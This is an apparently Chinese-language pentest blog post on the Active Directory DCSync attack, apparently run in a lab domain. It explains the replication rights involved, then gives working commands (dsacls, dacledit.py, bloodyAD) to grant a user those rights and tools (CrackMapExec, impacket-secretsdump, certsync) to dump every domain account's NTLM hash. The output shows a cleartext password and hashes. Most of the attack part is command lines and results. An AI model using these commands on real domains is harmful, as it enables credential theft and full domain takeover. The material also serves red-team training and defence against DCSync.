文章

DCSync

DCSync Attack

在 Active Directory 中,每个域控制器都存储着完整的目录数据库。为了保证数据的一致性和可用性,域控制器之间会进行定期的数据同步。默认情况下,域内不同 DC 每隔 15 分钟会进行一次数据同步,当一个 DC 从另外一个 DC 同步数据时,它会使用目录复制服务远程协议 (MS-DRSR) 发送 DSGetNCChanges 请求,来对另外一台域控中的域用户凭据进行复制。

DCSync 攻击就是利用域控制器之间同步的原理,通过 Directory Replication Service(DRS,目录复制服务)远程协议的 IDL_DRSGetNCChanges 接口,模拟 DC 向真实 DC 发起数据同步请求,来窃取域用户凭据。由于 MS-DRSR 协议是 Active Directory 的有效且必要的功能,因此无法将其关闭或禁用。

注:DCSync 攻击对只读域控制器 (RODC)无效,因为 RODC 不能参与复制同步数据到其他 DC。

在域内,对用户所具有的权限其实最根本是看用户的 DACL。对于 DCSync 攻击来说,只要域用户拥有以下三条 ACE 即可向域控发出数据同步请求,从而去转储域内用户凭据,这三条 ACE 分别为:

ACEGUID描述
DS-Replication-Get-Changes1131f6aa-9c07-11d1-f79f-00c04fc2dcd2复制目录更改
DS-Replication-Get-Changes-All1131f6ad-9c07-11d1-f79f-00c04fc2dcd2全部复制目录更改
DS-Replication-Get-Changes-In-Filtered-Set89e95b76-444d-4c62-991a-0facbeda640c在过滤集中复制目录更改(这个并不总是需要的,但我们可以添加它以防万一)

默认情况下,只有 Domain Admins、Enterprise Admins 和 Domain Controllers 组具有所需的权限。但我们可以对域内普通用户添加 ACE 实现普通用户调用 DCSync 导出域内所有用户的 hash。

No DRSUAPI

实现 Microsoft 目录复制服务远程协议 (MS-DRSR) 的 Microsoft API 称为 DRSUAPI

certsync 实现了在没有 DRSUAPI 的情况下远程转储 NTDS 的新技术(Golden Certificates + UnPAC the hash automation)。

1
root@kali-server:~# certsync -u <username> -p <password> -d <domain.com> -dc-ip <dc_ip> -ns <dc_ip>

Example

在 Active Directory 环境中,可以使用 dsacls 命令行工具,授予用户 DCSync 权限:

1
2
3
4
5
6
7
$Account = "xiaorang.lab\chenglei"
$RootDSE = [ADSI]"LDAP://RootDSE"
$DefaultNamingContext = $RootDse.defaultNamingContext
$ConfigurationNamingContext = $RootDse.configurationNamingContext

dsacls.exe "$DefaultNamingContext" /G "$($Account):CA;Replicating Directory Changes"
dsacls.exe "$ConfigurationNamingContext" /G "$($Account):CA;Replicating Directory Changes"

CME 使用 DCSync 转储域管凭据:

1
2
3
4
5
6
7
8
9
10
root@kali-server:~# proxychains4 -q cme smb 172.22.13.6 -u chenglei -p Xt61f3LBhg1 --ntds --user Administrator
SMB         172.22.13.6     445    WIN-DC           [*] Windows 10.0 Build 20348 x64 (name:WIN-DC) (domain:xiaorang.lab) (signing:True) (SMBv1:False)
SMB         172.22.13.6     445    WIN-DC           [+] xiaorang.lab\chenglei:Xt61f3LBhg1
SMB         172.22.13.6     445    WIN-DC           [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
SMB         172.22.13.6     445    WIN-DC           [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB         172.22.13.6     445    WIN-DC           Administrator:500:aad3b435b51404eeaad3b435b51404ee:6341235defdaed66fb7b682665752c9a:::
SMB         172.22.13.6     445    WIN-DC           [+] Dumped 1 NTDS hashes to /root/.cme/logs/WIN-DC_172.22.13.6_2023-10-08_202001.ntds of which 1 were added to the database
SMB         172.22.13.6     445    WIN-DC           [*] To extract only enabled accounts from the output file, run the following command:
SMB         172.22.13.6     445    WIN-DC           [*] cat /root/.cme/logs/WIN-DC_172.22.13.6_2023-10-08_202001.ntds | grep -iv disabled | cut -d ':' -f1
SMB         172.22.13.6     445    WIN-DC           [*] grep -iv disabled /root/.cme/logs/WIN-DC_172.22.13.6_2023-10-08_202001.ntds | cut -d ':' -f1

impacket-secretsdump 使用 DCSync 从域控转储所有域用户凭据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@kali-server:~# proxychains4 -q impacket-secretsdump xiaorang.lab/chenglei:Xt61f3LBhg1@WIN-DC.xiaorang.lab -target-ip 172.22.13.6 -just-dc-ntlm -history -user-status
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6341235defdaed66fb7b682665752c9a::: (status=Enabled)
Administrator_history0:500:aad3b435b51404eeaad3b435b51404ee:6341235defdaed66fb7b682665752c9a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: (status=Disabled)
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:cb976ec1a1bf8a14a15142c6fecc540e::: (status=Disabled)
zhangwen:1104:aad3b435b51404eeaad3b435b51404ee:fa7d776fdfc82d3f43c9d8b7f5312d77::: (status=Enabled)
chenglei:1105:aad3b435b51404eeaad3b435b51404ee:0c00801c30594a1b8eaa889d237c5382::: (status=Enabled)
zhangtao:1106:aad3b435b51404eeaad3b435b51404ee:e786c4a4987ced162c496d0519496729::: (status=Enabled)
WIN-DC$:1000:aad3b435b51404eeaad3b435b51404ee:5fa21833f17c543f85bc6bae0b6421e9::: (status=Enabled)
WIN-HAUWOLAO$:1103:aad3b435b51404eeaad3b435b51404ee:752d59538cd69d731983cd2b7dfc4b63::: (status=Enabled)
[*] Cleaning up...

Add DCSync Rights - ACL Abuse

当域用户有权限修改整个域对象的 ACL 时,可以给任意用户添加 DCSync 所需要的权限。

image.png

在第三方 impacket 包中的 dacledit.py 脚本,可以滥用 ACL 权限,远程给用户添加 DCSync 权限:

1
2
3
4
5
root@kali-server:~# proxychains4 -q python3 dacledit.py xiaorang.lab/chenglei:'Xt61f3LBhg1' -action write -rights DCSync -principal chenglei -target-dn 'DC=xiaorang,DC=lab' -dc-ip 172.22.13.6
Impacket for Exegol - v0.10.1.dev1+20230303.141054.8975ed2d - Copyright 2022 Fortra - forked by ThePorgs

[*] DACL backed up to dacledit-20230718-200428.bak
[*] DACL modified successfully!

bloodyAD 添加 DCSync 权限:

1
2
root@kali-server:~# proxychains4 -q bloodyAD -d xiaorang.lab -u chenglei -p Xt61f3LBhg1 --host 172.22.13.6 add dcsync chenglei
[+] chenglei is now able to DCSync

References

本文由作者按照 CC BY 4.0 进行授权

© h0ny. 保留部分权利。

本站由 Jekyll 生成,采用 Chirpy 主题。